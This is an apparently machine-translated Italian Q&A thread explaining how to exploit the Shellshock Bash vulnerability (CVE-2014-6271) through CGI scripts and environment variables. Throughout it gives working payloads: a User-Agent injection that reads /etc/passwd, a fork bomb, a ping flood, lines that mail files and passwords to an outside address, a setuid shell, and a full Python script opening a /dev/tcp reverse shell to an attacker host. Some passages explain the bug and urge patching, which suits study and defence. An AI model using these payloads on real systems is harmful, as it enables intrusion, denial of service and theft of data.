Qual è un esempio specifico di come sfruttare il bug di Shellshock Bash?

Un esempio molto semplice sarebbe un cgi, /var/www/cgi-bin/test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "Hi"

Quindi chiamalo con wget per scambiare la stringa User Agent. Per esempio. questo mostrerà il contenuto di / etc / passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

Per scomporlo:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Sembra:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd

Il problema, a quanto ho capito, è che mentre va bene definire una funzione in una variabile d'ambiente, bash non dovrebbe eseguire il codice dopo di esso.

L'extra "Content-type:" è solo per illustrazione. Previene l'errore 500 e mostra il contenuto del file.

L'esempio sopra mostra anche come non sia un problema di errori di programmazione, anche se normalmente bash cgi innocuo e sicuro che non prenda nemmeno l'input dell'utente può essere sfruttato.

Con l'accesso a bash, anche dal POV di un utente Web, le opzioni sono infinite. Ad esempio, ecco un fork bomba:

() { :; }; :(){ :|: & };:

Inseriscilo in una stringa di user agent su un browser, vai alla tua pagina web e DoS istantaneo sul tuo server web.

Oppure qualcuno potrebbe usare il tuo server come un bot di attacco:

() { :; }; ping -s 1000000 <victim IP>

Metti questo su molti altri server e stai parlando di una vera larghezza di banda.

Altri vettori di attacco:

# theft of data
() { :; }; find ~ -print | mail -s "Your files" [email protected]
() { :; }; cat ~/.secret/passwd | mail -s "This password file" [email protected]

# setuid shell
() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash

Ci sono infinite altre possibilità: reverse shell, server in esecuzione su porte, download automatico di alcuni rootkit per passare da utente Web a utente root. È una conchiglia! Può fare qualsiasi cosa. Per quanto riguarda i disastri di sicurezza, questo è anche peggio di Heartbleed.

La parte importante è che si patch il sistema. ORA! se hai ancora server con interfaccia esterna che non sono ancora stati sottoposti a patch, cosa stai ancora leggendo?!

Gli hacker stanno già facendo queste cose sopra e tu non lo sai nemmeno!

Non sono solo i server; anche il software client può essere influenzato. Ecco un esempio di un client DHCP vulnerabile . Se una macchina ha un client vulnerabile (e una bash non funzionante), qualsiasi macchina nella subnet può inviare risposte DHCP malformate e ottenere i privilegi di root.

Dato l'uso diffuso delle variabili di ambiente per condividere lo stato tra i processi in Unix e la quantità di software potenzialmente coinvolto, la superficie di attacco è molto grande. Non pensare che la tua macchina sia sicura perché non esegui un server web. L'unica soluzione è ottenere patch bash, considerare di passare a una shell di default meno complessa (come dash) e sperare che non ci siano molte altre vulnerabilità simili là fuori.

Non è necessario utilizzare bash esplicitamente perché questo sia un problema. Il vero problema è consentire agli aggressori di avere voce in capitolo sul valore delle variabili di ambiente. Dopo aver impostato l'ambiente, è solo questione di tempo prima che qualche shell venga eseguita (forse sconosciuta) con un ambiente per il quale non è stato preparato.

Ogni programma (bash, java, tcl, php, ...) ha questa firma:

int main(int argc, char** argv, char** arge);

Gli sviluppatori hanno l'abitudine di controllare argc e argv per la pulizia. La maggior parte ignorerà l'arge e non tenterà di convalidarlo prima di generare subshell (esplicitamente o implicitamente). E in questo caso bash non si difende correttamente da input sbagliati. Per collegare un'applicazione, i processi secondari vengono generati. In fondo, succede qualcosa di simile:

//We hardcoded the binary, and cleaned the arg, so we assume that
//there can be no malicious input - but the current environment is passed
//in implicitly.
execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);

Nel tuo codice, potrebbero non esserci riferimenti a bash. Ma forse lanciate tcl, e qualcosa di profondo nel codice tcl lancia la bash per voi. Avrebbe ereditato le variabili di ambiente che sono attualmente impostate.

Nel caso della versione vulnerabile di bash, qualcosa di simile sta succedendo:

int main(int argc, char** argv, char** arge) { //bash's main function
    ....
    parseEnvironment(arge); //!!!! read function definitions and var defines
    ....
    doArgv(argc, argv);
    ....
}

Dove parseEnvironment vede una serie di definizioni di variabili d'ambiente che non necessariamente nemmeno riconosce. Ma indovina che alcune di queste variabili d'ambiente sono definizioni di funzioni:

INITTECH_HOME=/opt/initTech
HTTP_COOKIE=() { :; }; /usr/bin/eject

Bash non ha idea di cosa sia un HTTP_COOKIE. Ma inizia con (), quindi bash indovina che questa è una definizione di funzione. Ti aiuta anche ad aggiungere del codice immediatamente eseguito dopo la definizione della funzione, perché forse hai bisogno di inizializzare alcuni effetti collaterali con la definizione della funzione. La patch rimuove la capacità di aggiungere effetti collaterali dopo la definizione della funzione.

Ma l'idea che una variabile d'ambiente possa rimanere addormentata con la definizione della funzione fornita da un attaccante è ancora molto inquietante!

recieve='() { echo you meant receive lol; }'

Se l'autore dell'attacco può far sì che questo nome di variabile ottenga un valore fornito, e sa anche che può aspettare che un processo di bash provi a richiamare una funzione con quel nome, allora questo sarebbe un altro vettore di attacco.

Questa è solo la vecchia ammonizione di convalidare i tuoi input . Poiché le shell possono essere generate come un sorprendente dettaglio di implementazione, mai imposta una variabile di ambiente su un valore che non è strettamente validato. Ciò significa che qualsiasi programma possibile che legge questa variabile d'ambiente non farà qualcosa di inaspettato con il valore; come eseguirlo come codice.

Oggi è bash. Domani è java, sh, tcl o node. Tutti prendono un puntatore ambientale nella loro funzione principale; e hanno tutti diverse limitazioni su ciò che gestiranno in modo sicuro (fino a quando non saranno riparati).

Ecco un esempio attraverso uno script CGI per un attacco remoto, non testato - Tratto da link

Come tutti gli exploit si basa sulle circostanze. Si collega a un file cgi remoto sul server Web e avvia una shell inversa

() {ignorato;}; / bin / bash -i > & / dev / tcp /% s 0 > & 1 "% sys.argv [3]

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
    print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
    "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data